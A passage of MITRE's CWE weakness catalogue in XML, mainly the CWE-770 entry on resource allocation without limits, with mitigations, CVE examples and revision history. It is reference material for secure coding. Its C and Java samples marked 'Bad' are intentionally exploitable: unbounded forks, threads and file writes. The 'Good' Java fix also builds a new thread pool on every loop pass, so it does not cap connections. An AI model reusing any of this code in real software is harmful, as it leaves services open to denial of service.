               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, References, Terminology_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>Anonymous External Contributor</Contribution_Name>
               <Contribution_Date>2022-05-20</Contribution_Date>
               <Contribution_Comment>reported typo in Terminology note</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2008-04-11">Command Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Data into a Control Plane (aka 'Command Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-07-27">Failure to Sanitize Data into a Control Plane ('Command Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Improper Sanitization of Special Elements used in a Command ('Command Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="770" Name="Allocation of Resources Without Limits or Throttling" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.</Description>
         <Extended_Description><xhtml:p>Code frequently has to work with limited resources, so programmers must be careful to ensure that resources are not consumed too quickly, or too easily.  Without use of quotas, resource limits, or other protection mechanisms, it can be easy for an attacker to consume many resources by rapidly making many requests, or causing larger resources to be used than is needed. When too many resources are allocated, or if a single resource is too large, then it can prevent the code from working correctly, possibly leading to a denial of service.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="400" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="400" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
            <Introduction>
               <Phase>System Configuration</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-8">
               <Method>Manual Static Analysis</Method>
               <Description>Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Fuzzing</Method>
               <Description>
                  <xhtml:p>While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause.</xhtml:p>
                  <xhtml:p>When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.</xhtml:p>
               </Description>
               <Effectiveness>Opportunistic</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Dynamic Analysis</Method>
               <Description>Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame. Manual analysis is likely required to interpret the results.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Specialized configuration or tuning may be required to train automated tools to recognize this weakness.</xhtml:p>
                  <xhtml:p>Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.</xhtml:p>
                  <xhtml:p>Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.</xhtml:p>
               </Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
               <Effectiveness_Notes>This will only be applicable to cases where user input can influence the size or frequency of resource allocations.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Mitigation of resource exhaustion attacks requires that the target system either:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays</xhtml:li>
                        <xhtml:li>uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.</xhtml:li>
                     </xhtml:ul>
                  <xhtml:p>The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.</xhtml:p>
                  <xhtml:p>The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that protocols have specific limits of scale placed on them.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-38.1">
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.</xhtml:p>
                  <xhtml:p>Ensure that all failures in resource allocation place the system into a safe posture.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-47">
               <Phase>Operation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Resource Limitation</Strategy>
               <Description>
                  <xhtml:p>Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.</xhtml:p>
                  <xhtml:p>When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.</xhtml:p>
                  <xhtml:p>Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-25">
               <Intro_Text>This code allocates a socket and forks each time it receives a new connection.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>sock=socket(AF_INET, SOCK_STREAM, 0);<xhtml:br/>while (1) {<xhtml:div style="margin-left:1em;">newsock=accept(sock, ...);<xhtml:br/>printf("A connection has been accepted\n");<xhtml:br/>pid = fork();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-50">
               <Intro_Text>In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int writeDataFromSocketToFile(char *host, int port)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>char filename[FILENAME_SIZE];<xhtml:br/>char buffer[BUFFER_SIZE];<xhtml:br/>int socket = openSocketConnection(host, port);<xhtml:br/>
                           <xhtml:br/>if (socket &lt; 0) {<xhtml:div style="margin-left:1em;">printf("Unable to open socket connection");<xhtml:br/>return(FAIL);</xhtml:div>}<xhtml:br/>if (getNextMessage(socket, filename, FILENAME_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if (openFileToWrite(filename) &gt; 0) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>while (getNextMessage(socket, buffer, BUFFER_SIZE) &gt; 0){<xhtml:div style="margin-left:1em;">if (!(writeToFile(buffer) &gt; 0))<xhtml:div style="margin-left:1em;">break;</xhtml:div>
                                       </xhtml:div>}</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>closeFile();</xhtml:div>
                           </xhtml:div>}<xhtml:br/>closeSocket(socket);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-51">
               <Intro_Text>In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */</xhtml:i>
                     <xhtml:br/>int processMessage(char **message)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char *body;<xhtml:br/>
                           <xhtml:br/>int length = getMessageLength(message[0]);<xhtml:br/>
                           <xhtml:br/>if (length &gt; 0) {<xhtml:div style="margin-left:1em;">body = &amp;message[1][0];<xhtml:br/>processMessageBody(body);<xhtml:br/>return(SUCCESS);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Unable to process message; invalid message length");<xhtml:br/>return(FAIL);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check</Body_Text>
               <Body_Text>Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>unsigned int length = getMessageLength(message[0]);<xhtml:br/>if ((length &gt; 0) &amp;&amp; (length &lt; MAX_LENGTH)) {...}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-52">
               <Intro_Text>In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public void acceptConnections() {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">ServerSocket serverSocket = new ServerSocket(SERVER_PORT);<xhtml:br/>int counter = 0;<xhtml:br/>boolean hasConnections = true;<xhtml:br/>while (hasConnections) {<xhtml:div style="margin-left:1em;">Socket client = serverSocket.accept();<xhtml:br/>Thread t = new Thread(new ClientSocketThread(client));<xhtml:br/>t.setName(client.getInetAddress().getHostName() + ":" + counter++);<xhtml:br/>t.start();</xhtml:div>}<xhtml:br/>serverSocket.close();</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>} catch (IOException ex) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.</Body_Text>
               <Body_Text>The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public static final int SERVER_PORT = 4444;<xhtml:br/>public static final int MAX_CONNECTIONS = 10;<xhtml:br/>...<xhtml:br/>
                     <xhtml:br/>public void acceptConnections() {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">ServerSocket serverSocket = new ServerSocket(SERVER_PORT);<xhtml:br/>int counter = 0;<xhtml:br/>boolean hasConnections = true;<xhtml:br/>while (hasConnections) {<xhtml:div style="margin-left:1em;">hasConnections = checkForMoreConnections();<xhtml:br/>Socket client = serverSocket.accept();<xhtml:br/>Thread t = new Thread(new ClientSocketThread(client));<xhtml:br/>t.setName(client.getInetAddress().getHostName() + ":" + counter++);<xhtml:br/>ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);<xhtml:br/>pool.execute(t);</xhtml:div>}<xhtml:br/>serverSocket.close();</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>} catch (IOException ex) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.</Intro_Text>
               <References>
                  <Reference External_Reference_ID="REF-667"/>
               </References>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>bar connection() {<xhtml:div style="margin-left:1em;">foo = malloc(1024);<xhtml:br/>return foo;</xhtml:div>}<xhtml:br/><xhtml:br/>endConnection(bar foo) {<xhtml:div style="margin-left:1em;">free(foo);</xhtml:div>}<xhtml:br/><xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">while(1) {<xhtml:div style="margin-left:1em;">foo=connection();</xhtml:div>}<xhtml:br/><xhtml:br/>endConnection(foo)</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-21668</Reference>
               <Description>Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-21668</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4017</Reference>
               <Description>Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts..</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4017</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2726</Reference>
               <Description>Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2726</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2540</Reference>
               <Description>Large integer value for a length property in an object causes a large amount of memory allocation.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2540</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2054</Reference>
               <Description>Product allows exhaustion of file descriptors when processing a large number of TCP packets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5180</Reference>
               <Description>Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5180</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1700</Reference>
               <Description>Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1700</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4650</Reference>
               <Description>CMS does not restrict the number of searches that can occur simultaneously, leading to resource exhaustion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4650</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-15100</Reference>
               <Description>web application scanner attempts to read an excessively large file created by a user, causing process termination</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-15100</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-7218</Reference>
               <Description>Go-based workload orchestrator does not limit resource usage with unauthenticated connections, allowing a DoS by flooding the service</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-7218</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO04-J</Entry_ID>
               <Entry_Name>Close resources when they are no longer needed</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER12-J</Entry_ID>
               <Entry_Name>Avoid memory and resource leaks during serialization</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC05-J</Entry_ID>
               <Entry_Name>Do not exhaust heap space</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="125"/>
            <Related_Attack_Pattern CAPEC_ID="130"/>
            <Related_Attack_Pattern CAPEC_ID="147"/>
            <Related_Attack_Pattern CAPEC_ID="197"/>
            <Related_Attack_Pattern CAPEC_ID="229"/>
            <Related_Attack_Pattern CAPEC_ID="230"/>
            <Related_Attack_Pattern CAPEC_ID="231"/>
            <Related_Attack_Pattern CAPEC_ID="469"/>
            <Related_Attack_Pattern CAPEC_ID="482"/>
            <Related_Attack_Pattern CAPEC_ID="486"/>
            <Related_Attack_Pattern CAPEC_ID="487"/>
            <Related_Attack_Pattern CAPEC_ID="488"/>
            <Related_Attack_Pattern CAPEC_ID="489"/>
            <Related_Attack_Pattern CAPEC_ID="490"/>
            <Related_Attack_Pattern CAPEC_ID="491"/>
            <Related_Attack_Pattern CAPEC_ID="493"/>
            <Related_Attack_Pattern CAPEC_ID="494"/>
            <Related_Attack_Pattern CAPEC_ID="495"/>
            <Related_Attack_Pattern CAPEC_ID="496"/>
            <Related_Attack_Pattern CAPEC_ID="528"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-386"/>
            <Reference External_Reference_ID="REF-387"/>
            <Reference External_Reference_ID="REF-388"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 17, &#34;Protecting Against Denial of Service Attacks&#34; Page 517"/>
            <Reference External_Reference_ID="REF-667"/>
            <Reference External_Reference_ID="REF-672"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 10, &#34;Resource Limits&#34;, Page 574"/>
         </References>
         <Notes>
            <Note Type="Relationship">This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).</Note>
            <Note Type="Theoretical">Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-13</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Observed_Examples, References, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
